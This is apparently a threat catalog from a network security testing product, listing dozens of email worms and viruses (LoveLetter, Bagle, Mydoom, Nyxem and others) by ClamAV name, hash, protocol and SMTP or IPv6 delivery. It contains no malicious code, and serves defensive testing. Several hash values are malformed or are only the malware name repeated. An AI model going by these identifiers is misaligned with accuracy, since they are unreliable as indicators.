Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Music.B.adaf15fb_IPv6.xml
Executive Description:	Email Virus Worm.Music.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adaf15fbe59a45981091cd103e196bfc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Happy99.SKA.02dd0eaa.xml
Executive Description:	Email Virus Trojan.Happy99.SKA
Detailed Description:	This is the email virus Trojan.Happy99.SKA as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 02dd0eaa9649alle55fa5467fa4b8ef8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noon.B.6b461fc5.xml
Executive Description:	Email Virus Worm.Noon.B
Detailed Description:	This is the email virus Worm.Noon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b461fc5b0a4bf7d767cf06eedfd2d4bd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.h.h.dcd7089c_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.VB.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AB.06e4cfd3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.AB (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.AB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e4cfd33f5ed9af43fe012c759bda60. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.o.o.9c9070bb_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.o.o (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.o.o as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.o.o. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.d0f67ff1.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0f67ff1898780ef41fbc44f23b1529f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Serotin.ec1f91fc.xml
Executive Description:	Email Virus Worm.Serotin
Detailed Description:	This is the email virus Worm.Serotin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec1f91fc7b2531d727145fae29f461f4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.feb481a8_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: feb481a8d4330c549512b27bd99f8ed2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.I.0f00a007_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0f00a0070e21ae0915dd79eafd42b975. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.d.exe.582da284_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.d.exe (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.d.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.d.exe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.a.a.0d969225_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nyxem.A.dfe59f12_IPv6.xml
Executive Description:	Email Virus Worm.Nyxem.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nyxem.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dfe59f129c800c2d343d23a2d7f0e596. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Spthgen.A.7c59b4e9.xml
Executive Description:	Email Virus JS.Spthgen.A
Detailed Description:	This is the email virus JS.Spthgen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7c59b4e93294bdf4db3038fb78104d9f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.B.4dbb3847.xml
Executive Description:	Email Virus VBS.Entice.B
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dbb3847fce7f01e8f23e10d9a47f669. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.38a35577.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38a355773bba0446d5a7b1b4f3d0964e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Mantan.man.74c989a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Mantan.man (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Mantan.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Mantan.man. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Granil.gra.1e0e08a2.xml
Executive Description:	Email Virus Email-Worm.VBS.Granil.gra
Detailed Description:	This is the email virus Email-Worm.VBS.Granil.gra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Granil.gra. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vote.87812683_IPv6.xml
Executive Description:	Email Virus Worm.Vote (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vote as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 878126839b33ed82f8826ae5fdece0a0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.01505ec7.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01505ec7edcee9518aa937d7bcl3a3d2b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.C4.2b125d4f_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.C4 (IPv6 Version)

Detailed Description:	This is the email virus VBS.PicaWorm.C4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b125d4f86703c1cf41d318e29379cb6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.31b83200.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 31b83200339c7640acfe5dbe054ac122. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Logex.log.d54f0bf7.xml
Executive Description:	Email Virus Email-Worm.Win32.Logex.log
Detailed Description:	This is the email virus Email-Worm.Win32.Logex.log as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Logex.log. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.a4bdb731_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4bdb731e91flc4e96a4b261f580b7a3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Quocus.e64a7392.xml
Executive Description:	Email Virus Worm.Quocus
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64a7392204d070e022bcec825489519. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fintas.D.69ab5282_IPv6.xml
Executive Description:	Email Virus Worm.Fintas.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fintas.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 69ab528253a22943fa2ce4be5fdfeeab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.dra.3d0ac91a_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.dra (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.dra. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.PrettyPark.28fa84c8.xml
Executive Description:	Email Virus W32.PrettyPark
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28fa84c8e0799a79814d275f91b086b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.aaee15d_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aaee15da272643320997428b64a00e7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Taripox.b.b.a2243e18.xml
Executive Description:	Email Virus Email-Worm.Win32.Taripox.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Taripox.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Taripox.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.4613a17f_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4613a17f12531d21c683023ffa4b4a34. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.HelOOn.A.8829ab0a_IPv6.xml

Executive Description:	Email Virus BAT.HelOOn.A (IPv6 Version)
Detailed Description:	This is the email virus BAT.HelOOn.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8829ab0a6831e990a53a905799417d10. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Hoko.faa0aad3.xml
Executive Description:	Email Virus W32.Worm.Hoko
Detailed Description:	This is the email virus W32.Worm.Hoko as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: faa0aad3acdac227d73e7e7f7cf61b87. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Without.E.c8ebbde8.xml
Executive Description:	Email Virus Worm.Without.E
Detailed Description:	This is the email virus Worm.Without.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8ebbde8ce140adb076251035293e01e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Ypsan.a.4bb94fc8.xml
Executive Description:	Email Virus Worm.Ypsan.a
Detailed Description:	This is the email virus Worm.Ypsan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bb94fc855ef86f92f8812bf726599cd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-34.8561d3f2_IPv6.xml
Executive Description:	Email Virus Trojan.Killav-34 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Killav-34 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8561d3f2c7c7d156f93965c9984cd919. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yever.a.a.ca63f7dd.xml
Executive Description:	Email Virus Email-Worm.Win32.Yever.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Yever.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yever.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bajar.C.9a403d20_IPv6.xml
Executive Description:	Email Virus Worm.Bajar.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bajar.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a403d2004ca4d23860c0b248fd2191a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Verocha.66b1b149.xml
Executive Description:	Email Virus Worm.Verocha
Detailed Description:	This is the email virus Worm.Verocha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66b1b1494988232bd3c2aelf6067161e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Nohoper.A.8c067312_IPv6.xml
Executive Description:	Email Virus Worm.Nohoper.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nohoper.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8c06731243d8cca5fbee4285693ed837. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bajar.B.36d2683e_IPv6.xml
Executive Description:	Email Virus Worm.Bajar.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bajar.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d2683e3a2bed2cdd3a20bfff0efbe7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.6be9c2b7.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6be9c2b76f58aa75722cdb7dfe2aabf9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Liberte.c2eba4b8_IPv6.xml
Executive Description:	Email Virus Worm.Liberte (IPv6 Version)
Detailed Description:	This is the email virus Worm.Liberte as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c2eba4b847667aff3d176elf5e310791. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bumdoc.1.8fd4eeb1_IPv6.xml
Executive Description:	Email Virus Worm.Bumdoc.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bumdoc.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fd4eeb1a78f03ccc7657f78c93029f2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Yama.B.05f78466_IPv6.xml
Executive Description:	Email Virus JS.Yama.B (IPv6 Version)
Detailed Description:	This is the email virus JS.Yama.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05f784668b2143abb25137ef8c84c55d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Trood.47d1f48a.xml
Executive Description:	Email Virus Worm.Trood
Detailed Description:	This is the email virus Worm.Trood as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47d1f48a127736e63aad709ddc9d81d0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.C.20a6688e.xml
Executive Description:	Email Virus Worm.VBS.Pahi.C
Detailed Description:	This is the email virus Worm.VBS.Pahi.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20a6688ed7cf35334d5b28e51ca7a470. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Paukor.b.b.7629f68e.xml
Executive Description:	Email Virus Email-Worm.Win32.Paukor.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.C.3d95b8ad_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d95b8addf409585be964c28e65499b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Breberka.77f8c8b1_IPv6.xml
Executive Description:	Email Virus Worm.Breberka (IPv6 Version)
Detailed Description:	This is the email virus Worm.Breberka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77f8c8b15c2e1811d5068d9f1c4857cc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Suppl.sup.ac725bab.xml
Executive Description:	Email Virus Email-Worm.Win32.Suppl.sup
Detailed Description:	This is the email virus Email-Worm.Win32.Suppl.sup as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Suppl.sup. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BI.aef7e1c1_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BI (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aef7e1c107b9b6a2be956130907adc53. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BugBear.B.c5592458.xml
Executive Description:	Email Virus Worm.BugBear.B
Detailed Description:	This is the email virus Worm.BugBear.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c559245877a6211e15d2d7eecbb97f14. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	W95.Matrix.SCR.606f4355.xml
Executive Description:	Email Virus W95.Matrix.SCR
Detailed Description:	This is the email virus W95.Matrix.SCR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 606f435504542cd18aa4612ca9a96cd2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4f065ad4_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f065ad4f872bb1d5380399e95915ae5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Aleat.3.4b578d00.xml
Executive Description:	Email Virus Worm.Aleat.3
Detailed Description:	This is the email virus Worm.Aleat.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4b578d00890e1198c6b622202f664ff6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.c09b69a2.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c09b69a29532fdb3c83dad697ae00f4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.b4ccellf.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4ccellf5a33a9d3bf623a08f44cd355. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Qoma.B.b4d5eb74.xml
Executive Description:	Email Virus Worm.Qoma.B
Detailed Description:	This is the email virus Worm.Qoma.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4d5eb74528d3736b16b0b47a50da063. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.e0099a41_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e0099a4194ab9f8ffbbc982a966dbf8d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.b.b.975019a2.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.b.b
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.6f1214c6_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f1214c65da19a5b189cd37cbc2417e9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Clown.a.702524dd_IPv6.xml
Executive Description:	Email Virus Worm.Clown.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 702524dde7aaed1f063414f7aa020ad7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.A.9890349f_IPv6.xml
Executive Description:	Email Virus W32.Magistr.A (IPv6 Version)
Detailed Description:	This is the email virus W32.Magistr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9890349fe3c68f5923b29347bba021a4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.a.a.8a636888.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.VB.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.PrettyPark.f7d91ea8.xml
Executive Description:	Email Virus W32.PrettyPark
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7d91ea83309acb300676c02e6c875cb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.ecafc7fa.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecafc7fa4592920ca0948de98493a758. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.8ec48842_IPv6.xml
Executive Description:	Email Virus Worm.Merlin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ec48842fe9c44557f7eb9f545237064. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.eab0f022_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eab0f0225e152a61b7a83a47b2f620ae. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sucon.b.756f4c0e.xml
Executive Description:	Email Virus Worm.Sucon.b
Detailed Description:	This is the email virus Worm.Sucon.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 756f4c0eae76977a30e94989901f8aa7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bridex.b.b.7bfc3642.xml
Executive Description:	Email Virus Email-Worm.Win32.Bridex.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Bridex.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bridex.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stator.b.b.7481b1a2.xml
Executive Description:	Email Virus Email-Worm.Win32.Stator.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Stator.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stator.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Chet.a.a.db7b0b9e.xml
Executive Description:	Email Virus Email-Worm.Win32.Chet.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Chet.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Chet.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.B.50611798.xml
Executive Description:	Email Virus Worm.Lohack.B
Detailed Description:	This is the email virus Worm.Lohack.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5061179881266f9b47d2elf6ca96a647. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.a3730f2b.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3730f2bb51e107ae8081ff7c15a8444. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.GMetaphase.6clcfe55.xml
Executive Description:	Email Virus W32.GMetaphase
Detailed Description:	This is the email virus W32.GMetaphase as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6clcfe55c4c26fcfb83e2dcbb9a42e89. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.e.e.2fee0483.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.e.e
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.F.a9cf6301_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.F (IPv6 Version)
